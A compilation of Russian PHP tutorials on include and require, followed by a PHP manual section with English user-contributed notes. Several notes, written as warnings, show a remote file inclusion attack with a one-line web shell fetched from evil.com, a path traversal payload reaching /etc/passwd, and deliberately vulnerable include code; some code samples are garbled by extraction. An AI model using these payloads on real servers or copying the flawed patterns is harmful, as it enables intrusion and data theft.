- Базовые возможности PHP
- Подключение внешних файлов
- Инструкция include
- Инструкция include_once
- Инструкции require и require_once
- Функция spl_autoload_register
- Урок 8. Подключение файла в PHP. Include и require
- Основы
- Путь к файлу
- include и include_once
- require и require_once
- Если не работает include или require
- Подключение файлов в PHP
- Зачем разделять и подключать php-сценарии
- Способы подключения файлов
- Примеры подключения файлов
- Абсолютные и относительные пути
- Полезные константы
- Видимость переменных в подключаемых сценариях
- Предупреждение безопасности
- User Contributed Notes 21 notes
Базовые возможности PHP
Подключение внешних файлов
При разработке программ на PHP, возможно, какую-ту часть кода мы захотим использовать одновременно в других файлах с кодом PHP. В этом случае отдельные части кода можно распределить по отдельным файлам. Это позволить не писать один и тот же код по сто раз на сотнях скриптов, а будет достаточно подключить файл с кодом PHP. Кроме того, если потребуется изменить поведение подключаемого кода, достаточно будет изменить код в подключаемом файле.
Для подключения файлов PHP предоставляет ряд возможностей.
Инструкция include
Инструкция include подключает в программу внешний файл с кодом php. Так, для примера определим файл welcome.php :
Здесь определена функция welcome , которая в качестве параметра принимает условное имя и использут его для вывода приветствия.
Теперь подключим данный файл в нашу программу, которая определена в другом файле в той же папке:
В место определения инструкции include будет вставляться весь код из файла welcome.php . При этом вставка файла должна происходить до использования функции, определенной в этом файле. При этом в данном случае файл welcome.php и файл, в который он подключается, располагаются в одной папке.
Конструкция include может использовать как относительные, так и абсолютные пути. Например, выше использовался относительный путь. Или, к примеру, если мы имеем слующую структуру
То чтобы подключить файл welcome.php из папки scripts , в файле index.php необходимо использовать следующий относительный путь:
Если файл welcome.php располагается по полному пути C:\localhost\scripts\welcome.php , то также можно было бы использовать абсолютный — полный путь:
Инструкция include_once
Использование инструкции include имеет недостатки. Так, мы можем в разных местах кода неумышленно подключить один и тот же файл, что при выполнении кода вызовет ошибки.
Чтобы исключить повторное подключение файла, вместо инструкции include следует применять инструкцию include_once
И теперь, если мы подключим этот же файл с помощью include_once еще где-нибудь ниже, то это подключение будет проигнорировано, так как файл уже подключен в программу.
Инструкции require и require_once
Действие инструкции require подобно инструкции include: она также подключает внешний файл, вставляя в программу его содержимое. Только теперь, если данный файл не будет найден, действие программы прекратится (инструкция include в этом случае выбрасывает предупреждение):
И также если у нас в коде встретятся несколько инструкций require , которые подключают один и тот же файл, то интерпретатор выдаст ошибку. И также чтобы избежать данной ситуации, следует использовать инструкцию require_once :
Функция spl_autoload_register
В больших приложениях количество подключаемых файлов может быть довольно большим. Однако встроенная функция spl_autoload_register() в определенных ситуациях позволяет избежать большого количества инклудов. В качестве параметра она принимает функцию автозагрузки. Эта функция автоматически вызывается, когда в программе начинает использоваться неизвестный класс или интерфейс. И функция автозагруки пытается загрузить этот класс или интерфейс. В качестве параметра функция автозагрузки принимает название класса или интерфейса, которые надо загрузить.
Например, пусть у нас будет файл Person.php , в котором располагается класс Person :
Обращаю внимание, что название файла соответствует названию класса.
Используем функцию автозагрузки для подключения подобного класса:
Функция spl_autoload_register() в качестве параметра принимает название функции автозагрузки — в данном случае это функция my_autoloader() . В качестве параметра она принимает название класса. Например, в данном случае используется класс Person, который в этом скрипте не определен. И когда программа встретит использование данного класса, она вызовет функцию my_autoloader() , в качестве параметра $class передаст в нее название класса Person.
Все действия функции автозагрузки мы определяем сами. В данном случае с помощью echo выводится некоторое диагностическое сообщение и подключается файл класса:
При этом в данном случае неважно какой класс, главное, чтобы он хранился в одноименном файле с расширением .php . В этого программа выведет следующее:
Источник
Урок 8. Подключение файла в PHP. Include и require
Основы
Одна из самых занимательных и полезных возможностей php — подключение другого файла. Например, на сайте есть верхнее меню, нижнее и между ними само содержание страницы. И, например, на 10 страницах сайта используется нижнее меню. В какой-то момент в него потребовалось внести изменения. В html Вы бы вручную в каждом отдельном файле вносили изменения, но php позволяет существенно упростить работу с сайтом! Код нижнего меню может содержаться в отдельном файле, а на каждой из 10-ти страниц можно просто подключать этот отдельный файл! То есть все изменения нужно теперь вносить только в файл с меню, а на 10-ти других оно будет отображаться уже с изменениями.
Смысл подключения в php простым русским языком:
Файл 1.php
Верхнее меню
Файл 2.php
Нижнее меню
Файл example.php
Подкючаем Файл 1.php
Содержание страницы
Подкючаем Файл 2.php
В результате проработки файла example.php будет отображено
Верхнее меню
Содержание страницы
Нижнее меню
Соответственно, чтобы что-либо изменить в нижнем меню, нужно внести изменения только в файле 2.php
Путь к файлу
Подключение файла происходит согласно указанному к файлу пути. Есть два варианта пути: относительный и абсолютный. Относительный — это указание пути к подлючаемому файлу относительно файла с инструкцией подключения. Абсолютный — указание полного пути к подключаемому файла.
Код PHP
Если путь не указан, будет использоваться путь, который указан в директиве include_path (в конфигурационном файле php.ini). Если файл не найден по указанному пути в include_path, инструкция include попытается проверить текущую рабочую директорию, в которой находится скрипт подключающий файл, если конструкция include не сможет найти файл, будет выдано предупреждение (warning). |
Если путь указан — не важно какой: абсолютный или относительный (относительно текущей директории, где расположен включающий сценарий) — директива include_path будет проигнорирована.
include и include_once
include() — конструкция, предназначенная для включения файлов в код сценария PHP во время исполнения сценария PHP. При обработке кода инструкция заменяется на содержимое присоединяемого файла. Предлагаю сразу рассмотреть пример.
Рассмотрим работу include на примере двух файлов: index.php и text.php. Для простоты работы допустим, что они лежат в одной директории.
Код PHP (файл index.php)
Код PHP (файл text.php)
В результате работы файла index.php отобразится:
Обычный текст, содержащийся в основном файле
Текст, содержащийся в подключаемом файле
Правда удобно? Теперь, поменяв содержимое в файле text.php будет совершенно другой результат работы index.php!
Теперь поговорим о другой конструкции — include_once. Она работает абсолютно также как и include, только создана позже и для тех случаев, когда нельзя повторно подключить файл. Например, Вы боитесь, что в результате ошибки можете подключить файл 2 и более раз, что скажется на некорректной работе страницы и получении соответствующего сообщения об ошибке.
Код PHP
require и require_once
Инструкции require и require_once работают идентично include и include_once за исключением лишь одной особенности — в случае того, если подключаемый файл не будет найден, выполнение скрипта будет остановлено (сценарий дальше не будет считываться), в то время как include и include_once просто выводят предупреждение и продолжают дальнейшее выполнение скрипта.
Постарайтесь в дальнейшем отказаться от использования include и require, применяйте их аналоги с суффиксом _once. В результате это упростит разбиение большой и сложной программы на относительно независимые модули. |
Если не работает include или require
Чтобы понять причины того, почему не работает include, предлагаю проверить всё по шагам. Какими бы понятными и поверхностными не были указанные ниже пункты, проверьте всё с самого начала
1. Проверьте, работает ли Ваш сервер и php, работает ли вообще любой php код на сайте
2. Убедитесь, существует ли файл подключаемый файл
3. Проверьте, правильно ли введено название файла и расширение в подключении
4. Убедитесь, что подключаемый php-файл действительно находится по тому адресу, по которому указали
5. Попробуйте указать не относительный путь, а абсолютный (полный путь к файлу).
Пример Код PHP
6. Если у Вас не подключается файл и не отображается никакой ошибки, то в директории с файлом, который подключаете, создайте файл .htaccess со следующим содержимым
или в файле php, перед подключением, вставьте следующую строку
И та, и другая настройки будут принудительно отображать ошибки
Источник
Подключение файлов в PHP
В PHP есть поддержка вызова одного сценария из другого. С помощью специальной конструкции языка можно вызвать сценарий из отдельного файла по его имени, также как по имени вызываются функции. Такая способность называется подключением файлов. Причём таковым файлом может являться как php-сценарий, так и любой другой текстовый файл. Например, HTML-страница.
Зачем разделять и подключать php-сценарии
PHP-разработчики дробят весь исходный код проекта на отдельные сценарии, чтобы с ними проще было работать. Если бы пришлось писать весь код в одном файле, то такой сценарий стал бы просто необъятным и ориентироваться там стало решительно невозможно. Поэтому разделение кода на разные сценарии — это естественный способ бороться со сложностью.
Есть и ещё один положительный эффект от подобного деления. Если вынести повторяющиеся блоки кода в отдельные сценарии, то появится возможность повторно использовать один код в разных файлах и подключать его только по требованию. Хороший пример — это пользовательские функции. Очень удобно объявлять их в отдельном сценарии, а затем подключать там, где эти функции понадобятся.
Способы подключения файлов
Для подключения файлов в PHP есть две языковых конструкции: require и require_once . Чем же они отличаются? На самом деле, отличия между ними минимальны. Оба этих ключевых слова подключают файл с указанным именем и вызывают ошибку, если данный файл не существует.
Однако особенность работы require_once состоит в том, что файл будет подключен только один раз, даже если вызвать эту инструкцию несколько раз с одним именем файла.
Примеры подключения файлов
Для начала посмотрим, как просто подключить один сценарий внутри другого. Для этого воспользуемся инструкцией require . Предположим, у нас есть два сценария: index.php и sub.php .
Содержимое файла sub.php :
В файле index.php находится код, который подключит сценарий sub.php :
Интересный факт: require можно использовать как ключевое слово, либо как функцию.
Результат будет одним и тем же:
Результат работы:
Что произошло? Два сценария как бы склеились в один: выполнилось все содержимое sub.php и добавилось в начало сценария index.php .
О том, как работать с функцией require , подробно рассказано в этом задании.
Абсолютные и относительные пути
При подключении файла в качестве его адреса можно указывать абсолютный или относительный путь.
Абсолютный путь включает в себя полный адрес файла от корня диска.
Пример: /var/www/web/site/inc/sub.php
Относительный путь содержит адрес только относительно текущей рабочей директории. Так если сценарий лежит в папке /var/www/web/site , то для подключения файла можно использовать такой путь: inc/sub.php
Всегда предпочитай указывать относительные пути, чтобы сайт продолжал работать, если его переместят в другую папку.
Полезные константы
В PHP есть полезные встроенные константы, которые пригодятся для использования в пути к подключаемым файла.
__DIR__ — Полный путь к директории, в которой находится текущий сценарий
__FILE__ — Полный путь к текущему сценарию
Видимость переменных в подключаемых сценариях
Следует помнить, что так как подключение файлов — это просто их склеивание в один, то и все переменные в разных сценариях тоже получают общую область видимости.
В PHP нет системы модулей, которая существует в других языках программирования (Python, Java, ECMAScript 6). Невозможно «импортировать» только отдельные переменные или функции из подключаемого сценария.
Из этого также следует, что если подключить один сценарий дважды, то переменные и функции из него тоже обьявятся повторно, а это может вызывать ошибку. Поэтому используйте require_once , чтобы такого не произошло.
Источник
Предупреждение безопасности
Удалённые файлы могут быть обработаны на удалённой стороне (в зависимости от расширения файла и того, что удалённый сервер выполняет скрипты PHP или нет), но это всё равно должно производить корректный скрипт PHP, потому что он будет затем обработан уже на локальном сервере. Если файл с удалённого сервера должен быть обработан и только отображён его результат, гораздо эффективно воспользоваться функцией readfile() В противном случае следует соблюдать особую осторожность, чтобы обезопасить удалённый скрипт для получения корректного и желаемого кода.
Смотрите также раздел Удалённые файлы, функции fopen() и file() для дополнительной информации.
Обработка возвращаемых значений: оператор include возвращает значение FALSE в случае возникновения ошибки и выдаёт предупреждение. Успешные включения, пока это не переопределено во включаемом файле, возвращают значение 1 . Возможно выполнить выражение return внутри включаемого файла, чтобы завершить процесс выполнения в этом файле и вернуться к выполнению включающего файла. Кроме того, возможно вернуть значение из включаемых файлов. Вы можете получить значение включения, как если бы вы вызвали обычную функцию. Хотя это невозможно при включении удалённого файла, только если вывод удалённого файла не содержит корректные теги начала и конца PHP кода (так же, как и локальный файл). Вы можете определить необходимые переменные внутри этих тегов и они будут представлены в зависимости от того, какой файл был выключен.
Так как include — это специальная языковая конструкция, круглые скобки не обязательны вокруг аргумента. Будьте внимательны при сравнении возвращаемого значения.
Пример #4 Сравнение возвращаемого значения при include
// не сработает, интерпретируется как include((‘vars.php’) == TRUE), то есть include(‘1’)
if (include( ‘vars.php’ ) == TRUE ) <
echo ‘OK’ ;
>
// сработает
if ((include ‘vars.php’ ) == TRUE ) <
echo ‘OK’ ;
>
?>
Пример #5 Выражения include и return
?>
testreturns.php
= include ‘return.php’ ;
echo $foo ; // выведет ‘PHP’
$bar = include ‘noreturn.php’ ;
echo $bar ; // выведет 1
$bar имеет значение 1 , т.к. включение файла произошло успешно. Заметьте разницу между примерами сверху. Первый использует return внутри включаемого файла, тогда как второй не использует. Если файл не может быть включён, возвращается false и возникает E_WARNING .
Если во включаемом файле определены функции, они могут быть использованы в главном файле вне зависимости от того, были ли они объявлены до return или после. Если файл включается дважды, PHP выдаст фатальную ошибку, потому что функции уже были определены. Рекомендуется использовать include_once вместо того, чтобы проверять был ли файл уже включён.
Другой путь «включить» PHP-файл в переменную — это захватить вывод с помощью функций контроля вывода вместе с include . Например:
Пример #6 Использование буферизации вывода для включения файла PHP в строку
function get_include_contents ( $filename ) <
if ( is_file ( $filename )) <
ob_start ();
include $filename ;
return ob_get_clean ();
>
return false ;
>
Для того, чтобы включать файлы автоматически в скрипты, обратите внимание на конфигурационные директивы auto_prepend_file и auto_append_file в php.ini .
Замечание: Поскольку это языковая конструкция, а не функция, она не может вызываться при помощи переменных функций.
User Contributed Notes 21 notes
If you want to have include files, but do not want them to be accessible directly from the client side, please, please, for the love of keyboard, do not do this:
# index.php
define ( ‘what’ , ‘ever’ );
include ‘includeFile.php’ ;
// check if what is defined and die if not
?>
The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at «/usr/share/nginx/html», keep the include files in «/usr/share/nginx/src».
# index.php (in document root (/usr/share/nginx/html))
include __DIR__ . ‘/../src/includeFile.php’ ;
?>
Since user can’t type ‘your.site/../src/includeFile.php’, your includeFile(s) would not be accessible to the user directly.
Before using php’s include, require, include_once or require_once statements, you should learn more about Local File Inclusion (also known as LFI) and Remote File Inclusion (also known as RFI).
As example #3 points out, it is possible to include a php file from a remote server.
The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation. Suppose you have an example.php with code:
// Bad Code
$path = $_GET [ ‘path’ ];
include $path . ‘example-config-file.php’ ;
?>
As a programmer, you might expect the user to browse to the path that you specify.
However, it opens up an RFI vulnerability. To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain.
evil.txt
echo shell_exec ( $_GET [ ‘command’ ]); ?>
It is a text file so it would not be processed on my server but on the target/victim server. I would browse to:
h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00
The example.php would download my evil.txt and process the operating system command that I passed in as the command variable. In this case, it is whoami. I ended the path variable with a %00, which is the null character. The original include statement in the example.php would ignore the rest of the line. It should tell me who the web server is running as.
Please use proper input validation if you use variables in an include statement.
When including a file using its name directly without specifying we are talking about the current working directory, i.e. saying (include «file») instead of ( include «./file») . PHP will search first in the current working directory (given by getcwd() ) , then next searches for it in the directory of the script being executed (given by __dir__).
This is an example to demonstrate the situation :
We have two directory structure :
-dir1
—-script.php
—-test
—-dir1_test
-dir2
—-test
—-dir2_test
dir1/test contains the following text :
This is test in dir1
dir2/test contains the following text:
This is test in dir2
dir1_test contains the following text:
This is dir1_test
dir2_test contains the following text:
This is dir2_test
script.php contains the following code:
echo ‘Directory of the current calling script: ‘ . __DIR__ ;
echo ‘
‘ ;
echo ‘Current working directory: ‘ . getcwd ();
echo ‘
‘ ;
echo ‘including «test» . ‘ ;
echo ‘
‘ ;
include ‘test’ ;
echo ‘
‘ ;
echo ‘Changing current working directory to dir2’ ;
chdir ( ‘../dir2’ );
echo ‘
‘ ;
echo ‘Directory of the current calling script: ‘ . __DIR__ ;
echo ‘
‘ ;
echo ‘Current working directory: ‘ . getcwd ();
echo ‘
‘ ;
echo ‘including «test» . ‘ ;
echo ‘
‘ ;
include ‘test’ ;
echo ‘
‘ ;
echo ‘including «dir2_test» . ‘ ;
echo ‘
‘ ;
include ‘dir2_test’ ;
echo ‘
‘ ;
echo ‘including «dir1_test» . ‘ ;
echo ‘
‘ ;
include ‘dir1_test’ ;
echo ‘
‘ ;
echo ‘including «./dir1_test» . ‘ ;
echo ‘
‘ ;
(@include ‘./dir1_test’ ) or die( ‘couldn\’t include this file ‘ );
?>
The output of executing script.php is :
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir1
including «test» .
This is test in dir1
Changing current working directory to dir2
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir2
including «test» .
This is test in dir2
including «dir2_test» .
This is dir2_test
including «dir1_test» .
This is dir1_test
including «./dir1_test» .
couldn’t include this file
If you’re doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn’t exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist — e.g. a dev environment has it, but a prod one doesn’t.)
As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:
—-
// prepend.php — autoprepended at the top of your tree
define ( ‘MAINDIR’ , dirname ( __FILE__ ) . ‘/’ );
define ( ‘DL_DIR’ , MAINDIR . ‘downloads/’ );
define ( ‘LIB_DIR’ , MAINDIR . ‘lib/’ );
?>
—-
and so on. This way, the files in your framework will only have to issue statements such as this:
require_once( LIB_DIR . ‘excel_functions.php’ );
?>
This also frees you from having to check the include path each time you do an include.
If you’re running scripts from below your main web directory, put a prepend.php file in each subdirectory:
—
include( dirname ( dirname ( __FILE__ )) . ‘/prepend.php’ );
?>
—
This way, the prepend.php at the top always gets executed and you’ll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.
I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.
Consider the following:
include ‘/Path/To/File.php’ ;
?>
In IIS/Windows, the file is looked for at the root of the virtual host (we’ll say C:\Server\Sites\MySite) since the path began with a forward slash. This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.
However, Unix file/folder structuring is a little different. The / represents the root of the hard drive or current hard drive partition. In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we’ll say is /usr/var/www/htdocs). Thusly, an error/warning would be thrown because the path doesn’t exist in the root path.
I just thought I’d mention that. It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.
A work around would be something like:
= null ;
if (isset( $_SERVER [ ‘DOCUMENT_ROOT’ ])) <
$documentRoot = $_SERVER [ ‘DOCUMENT_ROOT’ ];
if ( strstr ( $documentRoot , ‘/’ ) || strstr ( $documentRoot , ‘\\’ )) <
if ( strstr ( $documentRoot , ‘/’ )) <
$documentRoot = str_replace ( ‘/’ , DIRECTORY_SEPARATOR , $documentRoot );
>
elseif ( strstr ( $documentRoot , ‘\\’ )) <
$documentRoot = str_replace ( ‘\\’ , DIRECTORY_SEPARATOR , $documentRoot );
>
>
if ( preg_match ( ‘/[^\\/]<1>\\[^\\/]<1>/’ , $documentRoot )) <
$documentRoot = preg_replace ( ‘/([^\\/]<1>)\\([^\\/]<1>)/’ , ‘\\1DIR_SEP\\2’ , $documentRoot );
$documentRoot = str_replace ( ‘DIR_SEP’ , ‘\\\\’ , $documentRoot );
>
>
else <
/**
* I usually store this file in the Includes folder at the root of my
* virtual host. This can be changed to wherever you store this file.
*
* Example:
* If you store this file in the Application/Settings/DocRoot folder at the
* base of your site, you would change this array to include each of those
* folders.
*
*
* $directories = array(
* ‘Application’,
* ‘Settings’,
* ‘DocRoot’
* );
*
*/
$directories = array(
‘Includes’
);
if ( defined ( ‘__DIR__’ )) <
$currentDirectory = __DIR__ ;
>
else <
$currentDirectory = dirname ( __FILE__ );
>
$currentDirectory = rtrim ( $currentDirectory , DIRECTORY_SEPARATOR );
$currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR ;
foreach ( $directories as $directory ) <
$currentDirectory = str_replace (
DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR ,
DIRECTORY_SEPARATOR ,
$currentDirectory
);
>
$currentDirectory = rtrim ( $currentDirectory , DIRECTORY_SEPARATOR );
>
define ( ‘SERVER_DOC_ROOT’ , $documentRoot );
?>
Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.
Example:
include SERVER_DOC_ROOT . ‘/Path/To/File.php’ ;
?>
It’s worth noting that PHP provides an OS-context aware constant called DIRECTORY_SEPARATOR. If you use that instead of slashes in your directory paths your scripts will be correct whether you use *NIX or (shudder) Windows. (In a semi-related way, there is a smart end-of-line character, PHP_EOL)
Example:
= ‘includes’
. DIRECTORY_SEPARATOR
. ‘config.php’
;
require_once( $cfg_path );
Sometimes it will be usefull to include a string as a filename
//get content
$cFile = file_get_contents ( ‘crypted.file’ );
//decrypt the content
$content = decrypte ( $cFile );
//include this
include( «data://text/plain;base64,» . base64_encode ( $content ));
//or
include( «data://text/plain,» . urlencode ( $content ));
?>
Ideally includes should be kept outside of the web root. That’s not often possible though especially when distributing packaged applications where you don’t know the server environment your application will be running in. In those cases I use the following as the first line.
( __FILE__ != $_SERVER[‘SCRIPT_FILENAME’] ) or exit ( ‘No’ );
Be very careful with including files based on user inputed data. For instance, consider this code sample:
index.php:
= $_GET [ ‘page’ ];
if ( file_exists ( ‘pages/’ . $page . ‘.php’ ))
<
include( ‘pages/’ . $page . ‘.php’ );
>
?>
Then go to URL:
index.php?page=/../../../../../../etc/passwd%00.html
file_exists() will return true, your passwd file will be included and since it’s not php code it will be output directly to the browser.
Of course the same vulnerability exists if you are reading a file to display, as in a templating engine.
You absolutely have to sanitize any input string that will be used to access the filesystem, you can’t count on an absolute path or appended file extension to secure it. Better yet, know exactly what options you can accept and accept only those options.
A word of warning about lazy HTTP includes — they can break your server.
If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.
Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.
If you have a problem with «Permission denied» errors (or other permissions problems) when including files, check:
1) That the file you are trying to include has the appropriate «r» (read) permission set, and
2) That all the directories that are ancestors of the included file, but not of the script including the file, have the appropriate «x» (execute/search) permission set.
I would like to emphasize the danger of remote includes. For example:
Suppose, we have a server A with Linux and PHP 4.3.0 or greater installed which has the file index.php with the following code:
// File: index.php
include ( $_GET [ ‘id’ ]. «.php» );
?>
This is, of course, not a very good way to program, but i actually found a program doing this.
Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:
// File: list.php
$output = «» ;
exec ( «ls -al» , $output );
foreach( $output as $line ) <
echo $line . «
\n» ;
>
?>
If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
then Server B will execute list.php and Server A will include the output of Server B, a list of files.
But here’s the trick: if Server B doesn’t have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A!
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.
So, allways be extremely carefull with remote includes.
Just about any file type can be ‘included’ or ‘required’. By sending appropriate headers, like in the below example, the client would normally see the output in their browser as an image or other intended mime type.
You can also embed text in the output, like in the example below. But an image is still an image to the client’s machine. The client must open the downloaded file as plain/text to see what you embedded.
( ‘Content-type: image/jpeg’ );
header ( ‘Content-Disposition: inline;’ );
include ‘/some_image.jpg’ ;
echo ‘This file was provided by example@user.com.’ ;
?>
Which brings us to a major security issue. Scripts can be hidden within images or files using this method. For example, instead echoing » (); ?> «, a foreach/unlink loop through the entire filesystem, or some other method of disabling security on your machine.
‘Including’ any file made this way will execute those scripts. NEVER ‘include’ anything that you found on the web or that users upload or can alter in any way. Instead, use something a little safer to display the found file, like «echo file_get_contents(‘/some_image.jpg’);»
To Windows coders, if you are upgrading from 5.3 to 5.4 or even 5.5; if you have have coded a path in your require or include you will have to be careful. Your code might not be backward compatible. To be more specific; the code escape for ESC, which is «\e» was introduced in php 5.4.4 + but if you use 5.4.3 you should be fine. For instance:
Test script:
————-
require( «C:\element\scripts\include.php» );
?>
In php 5.3.* to php 5.4.3
—————————-
If you use require(«C:\element\scripts\include.php») it will work fine.
If php 5.4.4 + It will break.
——————————
Warning: require(C:←lement\scripts\include.php): failed to open stream: In
valid argument in C:\element\scripts\include.php on line 20
Fatal error: require(): Failed opening required ‘C:←lement\scripts\include.php
Solution:
————
Theoretically, you should be always using «\\» instead of «\» when you write php in windows machine OR use «/» like in Linux and you should fine since «\» is an escape character in most programming languages.
If you are not using absolute paths ; stream functions is your best friend like stream_resolve_include_path() , but you need to include the path you are resolving in you php.ini (include_path variable).
I hope this makes sense and I hope it will someone sometime down the road.
cheers,
I have a need to include a lot of files, all of which are contained in one directory. Support for things like include_once ‘dir/*.php’ ; ?> would be nice, but it doesn’t exist.
Therefore I wrote this quick function (located in a file automatically included by auto_prepend_file):
function include_all_once ( $pattern ) <
foreach ( glob ( $pattern ) as $file ) < // remember the < and >are necessary!
include $file ;
>
>
// used like
include_all_once ( ‘dir/*.php’ );
?>
A fairly obvious solution. It doesn’t deal with relative file paths though; you still have to do that yourself.
Notice that using @include (instead of include without @) will set the local value of error_reporting to 0 inside the included script.
Consider the following:
( ‘error_reporting’ , E_ALL );
echo «Own value before: » ;
echo ini_get ( ‘error_reporting’ );
echo «\r\n» ;
echo «include foo.php: » ;
include( ‘foo.php’ );
echo «@include foo.php: » ;
@include( ‘foo.php’ );
echo «Own value now: » . ini_get ( ‘error_reporting’ );
?>
foo.php
echo ini_get ( ‘error_reporting’ ) . «\r\n» ;
?>
Output:
Own value before: 32767
include foo.php: 32767
@include foo.php: 0
Own value now: 32767
While you can return a value from an included file, and receive the value as you would expect, you do not seem to be able to return a reference in any way (except in array, references are always preserved in arrays).
echo $z2 ;
$z = «NOO\n» ;
echo $z2 ;
?>
and file 2.php contains.
return $y ; ?>
calling 1.php will produce
i.e the reference passed to x() is broken on it’s way out of the include()
Neither can you do something like =& include(. ); ?> as that’s a parse error (include is not a real function, so can’t take a reference in that case). And you also can’t do return & $foo ?> in the included file (parse error again, nothing to assign the reference too).
The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.
Источник